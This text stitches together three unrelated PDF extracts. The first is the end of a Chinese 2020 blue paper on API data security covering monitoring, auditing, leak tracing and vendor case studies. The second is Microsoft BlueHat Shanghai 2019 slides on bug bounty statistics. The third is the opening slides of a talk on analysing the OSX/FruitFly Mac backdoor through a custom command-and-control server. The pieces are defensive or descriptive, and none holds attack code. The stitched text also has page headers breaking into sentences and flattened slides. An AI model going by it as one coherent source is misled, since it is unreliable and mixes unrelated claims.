的操作,对异常登录、调用行为进行分析,发现恶意行为及时告警。 此外,企业应实时监控接口运行中的单因素认证、弱密码、密码明 文传输等脆弱性问题,建立账号登录行为画像,形成用户常规登录 特征基线,对不同 IP 登录、连续认证失败、境外 IP 访问等敏感操 作进行监测分析,发现账号共享、借用、兼任等违规行为及时对相 关账号操作进行限制、阻断,避免安全事件的发生或扩大。 2.加强异常行为实时监测预警能力建设 企业应加强异常访问行为监测能力建设,针对短时间内大量获 取敏感数据、访问频次异常、非工作时间获取敏感数据、敏感数据 外发等异常调用、异常访问行为进行实时监测分析,根据自身业务 应用程序接口(API)数据安全蓝皮报告(2020 年) 23 情况建立正常行为基线,防范内部违规获取数据、外部攻击或网络 爬虫等数据安全风险。此外,由于内部特权账号权限远超普通用户 账户,企业应针对此类账号建立实时行为监测和审计机制,对账号 异常、高危操作进行严格管控,建立精准、细化的特权账号行为基 线,及时对特权账号异常行为进行预警,并定期进行特权帐号安全 审计。 3.加强数据分类分级管控能力建设 企业应梳理 API 数据类型,落实数据分类分级管控措施,针对 API 涉及的敏感数据按照统一策略进行后端脱敏处理,并结合数据加 密、传输通道加密等方式保护 API 数据传输安全。企业应严格落实 敏感数据保护策略,部署敏感数据监测工具,及时发现未脱敏展示、 前台脱敏等现象,并对接口流量进行分析,杜绝敏感数据明文传输 等违规行为。企业应评估涉及敏感数据的 API 参数设置情况,重点 关注接口单次返回数据量过多、返回数据类型过多等情况,建立后 端数据量、数据类型筛查机制,确保敏感数据暴露可知、可控、可 追溯。 4.加强 API 数据流向监控能力建设 企业应建立 API 数据流量监测机制,实时监控数据流向,加强 数据流向监控能力建设。通过分析访问和被访问 IP 的局域、地域或 法域,实现对数据流向的实时监控,防范数据接收方非法出售或滥 用个人信息风险,发现相关违法违规事件及时阻断 API 接入,为后 应用程序接口(API)数据安全蓝皮报告(2020 年) 24 续溯源调查积极存证。此外,企业应对境外 IP 访问内网 API 或者内 部 IP 访问境外 API 的情况重点关注、及时预警,确保敏感数据出境 活动合法合规。 (三)事后 1.建立健全应急响应机制 当前 API 应用广泛,业务逻辑复杂,涉及数据量大,一旦发生 安全事件,可能给企业、用户带来严重影响。企业应严格落实《网 络安全法》《电信和互联网用户个人信息保护规定》(工信部第 24 号令)等法律法规要求,出现数据泄露等严重安全事件及时告知相 关用户并上报电信主管部门,制定 API 安全事件应急响应预案并纳 入企业现有应急管理体系,应急流程包括但不限于监测预警及报告、 数据泄露事件处置、危机处理及信息披露等环节。 2.建立健全日志审计机制 API 数据安全审计可以帮助企业有效识别具体的高危访问行为, 为企业 API 安全提供有力帮助。建议企业对接口访问、数据调用等 操作进行完整日志记录,并定期开展安全审计,对 API 安全进行回 顾,结合旁路 API 流量捕获等技术手段,对传输协议等安全要点进 行分析还原,识别 API 漏洞、异常调用、外部攻击等安全风险。同 时,建议企业根据安全审计结果编制审计报告,跟踪审计意见的后 续落实,并依据相关监管要求妥善保存日志信息等,为安全事件追 应用程序接口(API)数据安全蓝皮报告(2020 年) 25 溯提供依据。 3.建立健全数据泄露溯源追责机制 企业应建立健全数据泄露溯源追责机制,制定 API 相关安全事 件溯源方案,发生安全事件后及时追踪数据泄露途径、类型、规模、 原因,分析根本原因,提取有效证据。结合审计机制进行事件溯源, 在确定责任主体后,严肃问责。API 数据泄露溯源机制可分为线索溯 源和主体溯源,线索溯源以泄露数据内容为线索,在系统中进行回 溯,提取 API 日志中的相关记录进行分析,确实责任人和泄露路径; 主体溯源根据账号、接口信息等访问特征线索在日志流量信息中进 行筛选,分析匹配特征,追溯事件源头。由于传统人工溯源费时费 力,溯源结果准确度有限,建议企业结合自身需求部署自动化溯源 工具,提升溯源效率,为企业 API 安全管理提供助力。 应用程序接口(API)数据安全蓝皮报告(2020 年) 26 五、附录 (一)全知科技 API 安全实践 1.开放 API 安全实践 (1)场景简介 开放 API 将接口开放到公网,为不同用户、产品提供数据操作、 传输渠道。开放 API 可分为两类,一类通过网页交互即可调用后端 API 进行数据查询,例如企业门户网站;一类仅对注册用户开放,需 用户主动注册后才可调用,例如政务开放平台数据调用接口。此类 API 主要具有两大特点。一是接口对社会公众开放。只要获知 URL 链 接,任何人都可以对 API 进行访问,而调用 API 接口即代表着调用 API 背后不同的业务功能,获取不同的服务数据。二是 API 参数由数 据提供方进行定义。全面开放的 API 通常无法满足所有用户的访问 需求,为了业务的正常开展,通常需进行标准化的接口定制。 (2)安全方案 企业应全面梳理其开放 API 现状,了解开放 API 数量、性质、 活跃程度,确保没有内网接口开放到外网的情况,并关注活跃 API 数据调用情况是否存在异常,及时下线失活 API。 在此基础上,企业可采用多种技术手段保护 API 安全,降低安 全风险。一是对 API 进行生命周期监控,二是健全账号认证机制和 授权机制,三是实时监控 API 账号登录异常情况,四是执行敏感数 应用程序接口(API)数据安全蓝皮报告(2020 年) 27 据保护策略,五是建立接口防爬虫防泄漏保护机制。 来源:全知科技(杭州)有限责任公司 API 生命周期监控:企业需实时监控新 API 上线、API 在运行过 程中变更,API 失活后正确下线情况,并在新 API 上线前对其进行风 险评估,对通信协议、路径、请求方式、请求参数、响应参数等要 素中的潜在安全漏洞进行排查,发现可能被攻击导致数据泄露的安 全漏洞,应及进行调整,确保上线前的安全性和可靠性。API 上线后, 企业则需实时监控其运行状态,发现风险应及时修正后再重新上线。 若 API 由于业务更迭等情况不再使用,企业应按照正确流程对其进 行下线。 健全认证授权机制:首先,企业需排查缺少身份认证的高危开 放 API,并对其建立身份认证机制。其次,企业应采取强密码、双因 素认证等方式增强身份认证机制。此外,在身份认证的基础上,企 业应建立健全授权机制,对用户账号授予所需最小权限,尤其注意 应用程序接口(API)数据安全蓝皮报告(2020 年) 28 增、删、改等高危操作,如无必要,不授予系统管理员 admin 或 export 等高级权限。建立健全认证授权机制一方面可以确保数据调用方为 真实用户而非网络爬虫,另一方面可以保证用户访问记录可追溯。 登录异常行为监控:企业应建立 API 异常登陆实时监控机制, 监测账号异常登陆情况并及时预警。账号异常登录情况可能由账号 暴力破解、撞库、单因素认证等登录系统脆弱性导致。登陆异常情 况监控机制可对接口登陆方式、IP 登陆失败频率、失败原因等进行 分析,发现异常情况及时预警。 敏感数据保护策略:企业应对开放 API 涉及的敏感数据进行梳 理,在分类分级后按照相应策略进行脱敏展示,所有敏感数据脱敏 均在后端完成,杜绝前端脱敏。此外敏感数据需通过加密通道进行 传输,防止传输过程中的数据泄露。以金融类系统为例,客户端应 用软件、银行卡受理设备、自助终端设备等界面展示的个人金融信 息需进行脱敏处理,确保登陆系统前不展示敏感信息。在此基础上, 企业应部署敏感数据监测工具,实时监测前端界面是否存在敏感数 据明文显示,以及通过流量分析检测是否存在敏感数据明文传输, 验证是否有效执行敏感数据保护策略。 部署防爬虫、防泄漏保护机制:企业应部署接口防爬虫、防泄 漏保护机制,分析用户访问行为特征,辨别该访问是真实用户行为 还是机器行为,并根据网络爬虫特征制定监控策略,部署工具进行 实时监控预警,发现潜在数据泄露事件及时触发熔断机制,阻断网 络爬虫行为对 API 数据安全的威胁。 应用程序接口(API)数据安全蓝皮报告(2020 年) 29 2.面向合作方 API 安全实践 (1)场景简介 商业生态系统的建立涉及企业与顾客、市场媒介、供应商等各 方的合作互动,面向合作方 API 被广泛用于合作方之间的数据交互 共享。此类 API 主要具有 3 大特点。一是数据交换类型多。通过此 类 API 进行数据交换的多为企业合作伙伴,包括但不限于资源供应 商和服务提供商。二是数据交换参与方数量少。开放 API 用户一般 以个人居多,组织较少,而面向合作方的 API 调用则以组织居多, 个人较少。三是接口定义需双方协商。此类 API 需在满足业务要求 的前提下根据双方要求进行自定义,往往需预留等多种接口以满足 业务需求。 (2)安全方案 企业应建立完善的供应商接口管理制度,包括准入制度、授权 管理制度和退出制度等,约束企业与合作方间的合作,从源头上对 合作方 API 进行把控,预防数据安全风险。在合作结束后,企业应 及时下线相关接口,并按照合作协议要求,进行数据留存审计,确 保合作方完成数据删除和销毁。 此外,企业还可通过部署相关技术手段保护面向合作方的 API 安全。一是部署敏感数据保护策略,二是建立账号异常行为监测机 制,三是部署自动化审计与溯源工具。 应用程序接口(API)数据安全蓝皮报告(2020 年) 30 来源:全知科技(杭州)有限责任公司 敏感数据保护策略:企业应对数据交换过程中涉及的敏感数据 制定保护策略,并通过脱敏、匿名化、去标识化、数据加密、传输 通道加密等方式对敏感数据加以保护。同时,组织机构还可以选择 VPN 传输、专线传输等安全性更高的安全防护手段,保护 API 接口数 据安全。 账号异常行为监测:企业应建立账号异常行为风险监测机制, 根据业务实际情况制定监控策略,实时监控合作方账号操作行为, 一旦监测发现存在越权操作、非工作时间访问、非工作时间大量获 取数据等情况,及时预警,降低数据安全事件风险。 自动化审计与溯源:企业与合作方之间通过 API 进行数据分享 频繁,流动数据量大。一方面企业应通过系统日志准确记录和保存 接口数据共享的情况,定期审计,及时发现数据交换中存在的风险。 另一方面企业应部署自动化审计和溯源工具,对安全事件快速溯源、 精准定位,防止数据泄露,保护企业数据安全。 应用程序接口(API)数据安全蓝皮报告(2020 年) 31 3.内部 API 安全实践 (1)场景简介 除了开放到公网、面向合作方的 API 之外,企业内部的应用系 统通常也会通过内部 API 进行数据访问。此类 API 主要有 3 大特点。 一是众多应用系统衍生大量接口。企业内部存在众多应用系统,根 据业务功能的划分和用户群体的不同可能会衍生出诸多内部 API 接 口。二是接口调用群体庞杂。企业内部员工因所处的部门和层级不 同,存在不同业务需求和权限,造成 API 调用群体庞杂,为安全管 理带来一定挑战。三是接口参数由企业根据自身需求进行定义。企 业内部可能存在多种 API,需要根据内部人员对于业务功能的需求分 别进行定义。 (2)安全方案 与开放 API 接口一样,企业应梳理内部 API 现状,围绕内部 API 生命周期建立有效管理机制。内部 API 接口可能随内部业务频繁迭 代,企业也会引入新的系统或设备到内部网络,此时需额外关注内 部 API 的安全要求。此外,企业还应部署或强化相应技术手段对内 部 API 接口进行保护。一是 API 生命周期实时监控,二是加强身份 验证机制,三是建立敏感信息展示监测预警机制,四是建立账号风 险监测机制,五是数据行为威胁实时监控,六是敏感数据大量暴露 监测,七是特权账号行为实时监测和审计机制,八是自动化数据泄 露溯源追责。 应用程序接口(API)数据安全蓝皮报告(2020 年) 32 来源:全知科技(杭州)有限责任公司 API 生命周期实时监控:企业应在掌握内部接口现状的基础上, 在新 API 上线前进行安全评估,严格内部 API 接口变更管理,对失 活接口及时处理。接口现状发生改变应及时发布预警,并及时响应 和处理。 身份验证机制:身份认证是企业数据安全的第一道防线,企业 应从安全需求、成本和系统兼容性等方面进行综合考虑,选择如双 因素认证、强密码口令、生物识别信息等认证措施,完善内部 API 身份验证机制。 敏感信息展示监测预警机制:企业应在确保脱敏策略一致的基 础上,建立敏感信息明文展示监测预警机制,对内部 API 调用流量 进行实时监控,一旦监测到明文传输敏感信息、或者明文展示敏感 应用程序接口(API)数据安全蓝皮报告(2020 年) 33 信息的时候,及时进行预警。 账号风险监测机制:企业应建立账号风险监测机制。一方面, 监测是否存在单因素认证、弱密码、密码明文传输等脆弱性;另一 方面,建立账号登陆行为画像,总结用户常规登陆模式,发现账号 共享、借用、兼任等情况及时预警,并进一步排查。此外,账号风 险监测机制还可侦测境外 IP 访问内部 API 接口的情况,减少企业数 据出境的安全风险。 数据行为威胁实时监控:内部 API 可能存在水平越权、垂直越 权、账号滥用等风险,因此,企业应根据自身情况建立正常行为基 线,对短时间内大量获取敏感数据、访问频次异常、非工作时间访 问、敏感数据外发等异常行为进行监测,并防范网络爬虫等大量机 器拉取内部数据。 敏感数据大量暴露监测:企业应监测 API 接口单次返回敏感数 据量、敏感数据类型等情况,发现异常及时对接口进行改进。 特权账号行为监测和审计:企业应建立并严格执行特权账号行 为监测和审计机制,精确、细化特权账号行为基线。 自动化数据泄露溯源追责:通过线索溯源或者主体溯源模式进 行溯源追责,明确数据泄露途径、数据泄露类型、数据泄露规模和 数据泄露原因,并对源头责任人和可疑犯罪人进行锁定,及时缩小 犯罪嫌疑人范围,减少因数据泄露给企业、个人和社会造成的负面 影响。 应用程序接口(API)数据安全蓝皮报告(2020 年) 34 (二)观安 API 安全实践 1.安全方案 观安 API 数据安全检测方案通过对数据接口、虚拟网络边界接 口进行实时监控和分析,实现应用系统之间数据访问、传输、流转 及敏感数据检测,利用大数据分析技术构建数据接口活动轨迹、访 问操作画像,智能化判断业务系统、企业内外部数据接口之间的数 据流量异常、数据访问操作异常、数据接口调用异常等安全风险, 及时对数据接口异常事件进行预警,为应用系统业务数据安全流转、 调用、传输等操作访问行为提供数据安全保障。 来源:上海观安信息技术股份有限公司 一是梳理接口敏感级别,制定分级策略。梳理并发现应用系统 中涉及敏感数据流转的接口以及敏感数据暴露面,根据敏感数据类 型对应用系统接口进行敏感等级划分,针对不同敏感级别的接口制 定差异化访问控制策略。 二是建立深度分析系统,实现多维度风险评估。建立深度分析 系统,对数据接口异常流量、用户异常操作行为、异常调用等进行 实时监控、异常预警和集中的风险展示。对敏感数据访问接口进行 应用程序接口(API)数据安全蓝皮报告(2020 年) 35 多维度的脆弱性评估及风险识别,包括但不限于数据账号风险、数 据权限风险、数据操作风险、数据流向风险、数据暴露面风险、数 据脱敏风险等。 三是描绘行为轨迹,实现流动监控。基于流量数据识别应用系 统中的接口和用户账号信息,还原并记录用户的数据访问行为;对 业务系统账号信息的数据访问行为进行审计,从用户账户、接口、 数据访问和返回情况,完整描绘数据在应用系统中流转的地图,实 现对数据流动细节的监控。 2.技术手段 协议解析:通过获取网络中系统的数据包,并将其进行协议解 析,生成基础数据,识别的协议包括但不限于当前主流的系统访问 及接口协议。通过抓取的流量数据可对数据流动使用过程进行审计 操作,保证 API 内的数据流转安全性。 来源:上海观安信息技术股份有限公司 数据分类分级:分类分级定位到的数据标签信息、位置信息可 应用程序接口(API)数据安全蓝皮报告(2020 年) 36 以赋能到安全风险识别,结合流量数据准确实时的输出安全风险告 警,保障数据生命周期内的流动安全。同时分类分级可为 API 敏感 级别划分提供支撑,依据分类分级清单实现数据价值划分,为数据 差异化管控提供依据。 敏感数据识别:根据敏感级别划分,动态制定敏感数据识别规 则,通过规则分析自动识别未脱敏数据。 API 全盘发现:识别并建立 API 清单,对 API 进行可视化展现, 发现 API 漏洞。  通过手动定义或 API 文件,建立 API 清单;  通过日志或流量分析,发现 API 清单未覆盖的请求;  对 API 活动做可视化展现;  结合威胁情报库,发现有漏洞的 API 应用服务器。 来源:上海观安信息技术股份有限公司 API 可视化管控:登记汇总各系统中注册,添加、登记的接口服 务,实现对系统接口的汇总管理和可视化展示。 API 安全检测:API 安全检测是系统交互的屏障和保护伞,在接 应用程序接口(API)数据安全蓝皮报告(2020 年) 37 口具体的使用过程中,通过提前预设告警规则、防御规则,记录非 法操作、异常攻击等行为,匹配规则,实现防御阻断、告警,提高 单个系统接口服务的有效性及保证整个生态系统的安全性、稳定性, 为企业提供多重保障。 流量数据:通过协议解析,获取多系统接口行为记录,包括访 问的接口、访问的 URL、源/目的 IP、源/目的端口、访问时间及流 量等数据,为访问行为的安全审计、数据挖掘提供数据源。 审计告警:根据业务系统特点,对通过接口交互的敏感信息或 关键字进行识别、告警设置,生成审计规则,对匹配规则的敏感信 息进行相应操作,如区分日志类型(原始日志、重要日志、告警日 志)、进行有效报警(邮件、短信)等,为系统接口交互行为审计 提供及时预警及处理时间。 来源:上海观安信息技术股份有限公司 异常数据流动行为检测:从应用系统流量中提取用户访问行为 的原始数据,计算相关的基础指标,构建数据模型进行机器学习和大 数据分析,对数据访问建立行为基线,利用异常检测技术,从多个 维度来识别异常数据访问行为,从而实现异常数据访问行为和数据 泄露行为的感知和预警。 应用程序接口(API)数据安全蓝皮报告(2020 年) 38 回溯取证:对接口业务行为进行完整的记录,并支持接口访问 行为和事件回放取证。记录包括访问时间、访问者、访问凭据、访 问请求参数、返回数据等。 API 数据安全态势分析:通过海量接口行为数据,运用 Hadoop 大数据支撑平台,快速大批量接口行为分析,辅助安全管理员提前 预警阻断。 来源:上海观安信息技术股份有限公司 数据挖掘:对接口生命周期及接口的商业行为进行高效的梳理 和分析,通过采用分类模型、预测模型、关联模型、聚类模型、异 常值分析、协同过滤、文本挖掘等算法模型,为企业提供更优质的 商业价值。 3.实践应用 (1)背景 应用程序接口(API)数据安全蓝皮报告(2020 年) 39 某运营商安全行为管控主要依赖传统的业务系统日志、4A 访问 日志,数据来源单一,分析手段相互独立缺乏联动,缺少多维度分 析;对接口调用异常、业务行为中敏感数据自识别监控、数据操作 异常事件等新型事件,依赖现有传统审计方法无法有效识别和监测。 (2)应用 分析模块:分析业务流程包括数据采集、数据预处理、数据存 储、分析引擎、结果输出等步骤。 风险场景模型:分析平台和业务场景的深度耦合,对系统业务 风险点进行监测、控制,业务分析平台采用 2 套分析模型(机器行 为模型、风险评分卡模型)对 4 大业务场景(接口风险告警、主机 绕行告警、前台未授权查询信息、敏感数据操作监测)进行业务分 析。 接口异常行为监测:基于流量探针对流量数据进行采集,根据 接口小时段内容的接口类型、调用对象、访问时间间隔等数据维度 构建特征工程,通过机器学习分类算法如随机森林,建立异常识别 模型,从而通过模型识别出异常行为。 接口内容敏感识别:数据接口种类繁多,如何正确高效、识别 敏感数据接口并进行行为分析,俨然成为工作难题。本次实践应用 中通过流量探针,在下行流量数据中依赖命名实体识别、规则识别 敏感数据,并对识别的敏感数据接口进行监控,精准管理敏感数据 接口。 应用程序接口(API)数据安全蓝皮报告(2020 年) 40 用户行为异常分析:关注用户对关键业务系统、敏感数据、敏 感文件的操作行为,通过规则、基线等分析手段识别异常行为。 (3)成效 实践中完成 3 个业务风险场景建设,构建 2 套分析模型,日均 处理 200G 数据,共监测识别异常事件 72 起、真实有效事件 67 起。 来源:上海观安信息技术股份有限公司 4.发展趋势 当前,API 安全保护日渐成为网络应用的主要技术需求之一。人 工智能和机械学习作为高效智能化的工具,已经被应用到了协议栈 的各个层面上,以实现 API 的全栈安全防护。就下一步发展趋势来 看,开发人员需要进一步加大对于 API 业务模型、分析能力、技术 蓝图、以及合规性与标准化的深入研究与开发。API 安全实践的发展 趋势包括:DNS 安全、安全设计、人工智能、机械学习驱动等。 应用程序接口(API)数据安全蓝皮报告(2020 年) 41 (三)爱加密 API 安全实践 1.安全方案 爱加密移动应用 API 安全防护方案秉持“分段保护,技术验证” 的思路,在保障 APP 业务功能的前提下,对其调用或集成的 API 进 行事前、事中、事后的全过程安全管理与防护。及时发现潜在的源 码漏洞、破解盗用、异常调用等安全问题,并提供业务、数据、源 码各层面的安全防护。 来源:北京智游网安科技有限公司(爱加密) 爱加密自动化安全扫描工具可针对 API 的源代码安全性、数据 安全性与传输安全性等多方面进行检测,并对缺少源码保护、明文 存储数据、非加密协议传输数据等问题进行重点侦测。 (1)源代码防护检测 源码反编译安全:检测 Java 文件是否进行加壳保护,未加壳可 能面临被反编译的风险。 应用程序接口(API)数据安全蓝皮报告(2020 年) 42 源码混淆检测:检测 API 源代码是否进行混淆处理,代码未进 行混淆会在代码被反编译后导致核心代码可能被窃取,存在逆向代 码还原到源码的风险。 so 文件保护检测:检测 so 文件是否为了实现不同软件之间的数 据共享,设置内部文件为全局可读或全局可写,使得其他应用可以 读取和修改该文件。 H5 代码安全检测:分析 API 中的 html5 文件是否经过混淆/加密 操作。 密钥硬编码检测:检测 API 是否存在将加密算法密钥设定为固 定值,导致不法分子可能通过反编译硬编码密钥破解接口加密机制 情况。 (2)API 安全性检测 敏感信息获取检测:检测 API 中是否存在获取用户敏感信息的 操作。 API 本地数据存储安全检测:检测 API 是否会将用户敏感数据明 文存放在本地缓存目录,私有目录等。 日志数据安全检测:Log 日志是 APP 运行期间自身产生的,是对 程序运行情况的记录和监控,通过 Log 日志可以详细了解 APP 内部 的运行状况。 证书文件明文存储检测:查看 API 资源中是否包含明文的证书 文件。 应用程序接口(API)数据安全蓝皮报告(2020 年) 43 (3)API 数据传输检测 HTTP 协议检测:由于 HTTP 数据传输是明文传输的,导致 HTTP 数据容易被抓取、篡改,泄露用户密码等敏感数据,甚至通过中间 人劫持将原有信息替换成恶意链接或恶意代码程序,以达到远程控 制、恶意扣费等攻击意图。通过使用抓包工具在网络节点设置代理, 侦听抓取 API 业务请求数据包,分析数据报文检查是否使用 http 协 议传输数据。 业务接口漏洞测试:检查 API 是否存在与业务功能无关的服务 器交互接口,通过侦听通信数据中的网络端口类型查看 API 是否存 在可能的越权访问与脚本注入风险。 2.技术手段 自动化业务检测:将 API 恶意代码的行为特征具体化分析,创 造行为自动化检测脚本,通过对真实运行环境的仿真模拟来诱导发 现第三方 API 是否隐藏恶意行为与违规行为,将行为检测技术运用 到检测方法当中,包括:  检测 API 读取隐私数据,如手机通讯录、通话记录、短信内 容、IMEI、IMSI 等相关行为事件。  检测 API 完整的网络通讯事件,获取远程服务器 IP(包含地 理区域)、端口号、域名、完整 URL。  检测 API 隐藏图标动作、执行系统高威胁设置等行为事件。  检测 API 运行过程隐蔽安装插件安装包行为事件。 应用程序接口(API)数据安全蓝皮报告(2020 年) 44  检测 API 在运行生命周期内新建文件、编辑文件、删除文件 等所有行为事件。 VMP 高强度代码加固:市面上普遍对 256 个 OpCode,进行了自 定义指令替换,具体的操作数语法组合并不做处理。爱加密 VMP 对 OpCode 指令以及操作数都同时进行了指令转换处理,涉及操作数语 法组合大概 541 种,在加密细粒度和强度方面具有显著优势。 API 探针技术:API 威胁感知可以进行自定义埋点探针数据采集, 在后台对 APP 进行流程位置埋点探针,收集该埋点探针数据,在应 用上线后埋点探针可进行远程操作,而后埋点下发。爱加密威胁感 知系统支持多种响应形式的自定义下发,包括自定义弹窗,退出, 提示,悬浮球,打开链接,启动应用,toast 提示,通知栏,预下载, 下载并安装,跳转指定页面等。 3.实践应用 (1)运营商计费类 API 公开共享场景应用 某运营商开发自有计费 API 用于提供 App 内计费系统交易结算。 由于缺少代码层面安全防护,API 接口遭到恶意破解,计费逻辑与关 键文件被窃取,计费流程的完整性遭到破坏,导致交易破解与恶意 计费事件发生。此外,遭破解的计费 API 可能被二次打包为携带违 法广告、木马程序等内容的盗版 API,成为违法违规内容传播的载体。 应用程序接口(API)数据安全蓝皮报告(2020 年) 45 来源:北京智游网安科技有限公司(爱加密) 爱加密通过技术手段对运营商计费类 API 进行源码保护,提高 源码复杂度与完整性校验,防止被黑客破解分析,探知核心业务流 程。同时对关键业务流程进行过程监控,对关键交易进行二次验证。 此应用场景下采取如下保护措施:  对 API 源代码进行加固处理,防止非法破解。API 加固保护包 括对 jar 文件代码的虚拟化处理、so 库文件的安全防护等安全加固 内容。同时防止 so 库被非法调用,对 App 的使用进行权限管理。  增加威胁感知探针,对 API 业务运行时的状态进行感知。在 计费 API 运行时对关键核心步骤进行二次校验,对关键业务核心点 进行完整性验证,出现的异常行为及时预警或阻断。 (2)互联网企业认证 API 对外开放场景应用 某互联网企业为推广业务吸引流量,向第三方开发企业与个人 开放了自身 APP 的认证 API,实现便捷登录功能。由于未对 API 进行 安全检测,被黑客通过 API 中的通讯录匹配功能暴力匹配用户姓名 和密码,将海量黑产数据转化为有价值的用户账号数据在黑市兜售, 应用程序接口(API)数据安全蓝皮报告(2020 年) 46 给企业带来极大的经济和社会信誉损失。 来源:北京智游网安科技有限公司(爱加密) 互联网企业在向社会公开自己的 API 时,需要对 API 做全面的 安全检测,及时发现代码层面、数据层面与接口传输层面的安全漏 洞,与 App 业务功能无关的接口应及时注销关闭,防止其被破解后 形成潜在业务隐患。 此应用场景下采取如下保护措施:  检测 API 源代码是否进行混淆,加固等安全技术处理。防止 攻击者通过反编译工具得到 API 的代码后直接可读可定位等风险。  检测是否含有遗留日志数据,防止黑客通过 Log 日志详细了 解 API 内部的运行流程。防止通过对日志搜索进行程序代码定位, 从而找到 API 中关键代码进行分析修改。  增加威胁感知探针,对 API 运行时的业务请求频率进行监控。 在出现高频率、涉及敏感数据的业务时向服务后台进行预警与客户 端的防御响应。 应用程序接口(API)数据安全蓝皮报告(2020 年) 47 4.产品研发 目前 API 接口根据不同 APP 的开发场景被广泛集成到海量 SDK 中进行使用。爱加密结合其移动应用 SDK 领域安全积累,建立移动 SDK/API 资产互联网监控平台,通过大数据分析模型,提升相关风险 预警的准确性和防护策略的有效性。 来源:北京智游网安科技有限公司(爱加密) 该平台依托于爱加密移动安全大数据平台的监管能力,针对数 百万 APP 使用的 SDK/API 进行专向分类管理,当企业需要使用第三 方 SDK/API 时,可通过爱加密安全大数据平台获取详细的状态与使 用范围信息。 此外,平台提供针对企业自研 SDK/API 登记备案和管理功能, 可对企业自研 SDK/API 是否遭违法违规调用进行快速查询和验证。 平台提供的 API 全质量常态监测服务可对重大、突发安全漏洞实现 第一时间检测与记录回馈,配合移动威胁感知系统的前端响应能力, 应用程序接口(API)数据安全蓝皮报告(2020 年) 48 阻断风险扩散,精确划分影响范围,最大限度减小由于安全原因带 来的负面影响。 中国信息通信研究院 安全研究所 地址:北京市海淀区花园北路 52 号 邮政编码:100191 联系电话:010-62308590 010-62308790 传真:010-62300264 网址:www.caict.ac.cn
pdf
Welcome to BlueHat Shanghai Eric Doerr General Manager, Microsoft Security Response Center @edoerr May 30, 2019 Chinese researchers were the most prolific and high-impact contributors to the Microsoft Bounty Program in 2019 Growth 57% China-based bounty participants 46% China-based bounty submissions 2018 vs 2019 Impact China, 48% Global, 52% BOUNTY AWARDS China, 22% Global, 78% BOUNTY-ELIGIBLE SUBMISSIONS 2018 vs 2019 Focus 2019 Submissions by Vulnerability Type Memory Safety Issues 56% Information Disclosure 15% Microsoft Bounty Programs Microsoft Office Insider Microsoft .NET Core and ASP.Net Core Microsoft Edge Azure DevOps Microsoft Cloud Bounty Windows Defender Application Guard Windows Insider Preview Microsoft Identity Mitigation Bypass and Defense Microsoft Hyper-V Microsoft Office Insider Microsoft .NET Core and ASP.Net Core Microsoft Edge +75% of submissions Azure DevOps Microsoft Cloud Bounty Windows Defender Application Guard Windows Insider Preview +40% of submissions Microsoft Identity Mitigation Bypass and Defense Microsoft Hyper-V +50% of submissions Microsoft Bounty Programs 9 Our thanks China-based researchers and partner companies have demonstrated their skill and helped us secure customers and the broader ecosystem in 2019. A little history… Long history of security investment 90’s through 2010 1998 MSRC begins 2002 Bill Gates Trustworthy Computing Memo 2003 Buffer Overrun Protection in Visual Studio Windows Defender for XP and Server 2003 2004 Security Development Lifecycle (SDL) Data Execution Protection (DEP) releases in XP SP2 2005 First BlueHat 2006 BitLocker ships with Windows Vista 2007 Address Space Layout Randomization (ASLR) ships in Vista 2009 AppLocker ships with Windows 7 Long history of security investment 2010 through today 2013 Microsoft launches first Bug Bounty Digital Crimes Unit Cybercrime center opens 2014 Control Flow Guard (CFG) released in Windows 8.1 2015 Office ATP (Advanced Threat Protection) released Microsoft Advanced Threat Analytics (ATA) released Cyber Defense Operations Center opens 2016 Microsoft Cloud App Security released Azure Security Center (ASC) released Defender ATP released 2017 Credential Guard released in Win10 Defender Exploit Guard released 2018 Azure ATP released FIDO2 password- less sign in Microsoft Secure Score released 2019 Azure Sentinel announced at RSA Microsoft Threat Experts released First BlueHat Shanghai CVE-2019-0708 example Security focus paid off with newer versions of Windows • Vulnerability: Pre-auth UAF (Use After Free) in RDP Server • Win8, Server 2012, Win10 not affected • Released patches for “out of support” XP, Win7 and Server 2003 Microsoft Future Going Digital 12 years average age of S&P 500 corporations by 2020 50% of S&P 500 replaced by 2026 1 million/hour new devices coming online by 2020 60% computing in the cloud by 2025 Every Organization Is becoming a software company to stay relevant The Microsoft Cloud Application Innovation Business Apps Security & Management Data AI & Machine Learning Productivity Power BI Advanced Threat Protection Security Center Cognitive Services Machine Learning Azure: Planetary Scale >95% of Fortune 500 use Azure Developers are at the heart of every company’s innovation Most contributions 1.1B in 2018 Most developers 36M Highest growth 8M new devs in 2018 Most Repos 96M Most activity 200M PRs, 800M API requests daily Most students 1.1M Most organizations 2.2M Most secure 5M vulnerability alerts in 2018 MSR Beijing MSR Cambridge MSR Redmond MSR Montreal MSR New England MSR New York Fueled by Microsoft breakthrough research 96% on RESNET vision test 94.9% on Switchboard test 89.4% on Stanford CoQA test 69.9% with MT Research system 39.5 Teraflops with Intel Stratix 10 MSR India MSR Shanghai Machine translation human parity Object detection human parity Switchboar d Switchbo ard cellular Meeting speech IBM Switchboard Broadcast speech Speech recognition human parity Conversational Q&A human parity First FPGA deployed in a datacenter Bounty Microsoft Office Insider Microsoft .NET Core and ASP.Net Core Microsoft Edge Azure DevOps Microsoft Cloud Bounty Windows Defender Application Guard Windows Insider Preview Microsoft Identity Mitigation Bypass and Defense Microsoft Hyper-V Bounty -> Where we are going Microsoft Office Insider Microsoft .NET Core and ASP.Net Core Microsoft Edge Azure DevOps Microsoft Cloud Bounty Windows Defender Application Guard Windows Insider Preview Microsoft Identity Mitigation Bypass and Defense Microsoft Hyper-V Azure Dynamics DevOps / GitHub AI & ML And a whole lot more… 谢谢
pdf
@patrickwardle OFFENSIVE MALWARE ANALYSIS dissecting osx/fruitfly via a custom c&c server WHOIS “leverages the best combination of humans and technology to discover security vulnerabilities in our customers’ web apps, mobile apps, IoT devices and infrastructure endpoints” security for the 21st century @patrickwardle OUTLINE fruitfly monitoring c&c server tasking trapping flies analyze OSX/FruitFly.B ...'smartly' THE GOAL command description 0 "take screen shot" 1 ? 2 ? "execute command #0" malware's commands build:
 custom C&C server spy.com steal (borrow?) other ppls access 1 task:
 the malware observe:
 the response 2 3 cmd #0 malware hijack OSX/FRUITFLY an intriguing backdoor initially discovered by malwarebytes OSX/FRUITFLY (‘QUIMITCHIN’) "New Mac backdoor using antiquated code" 
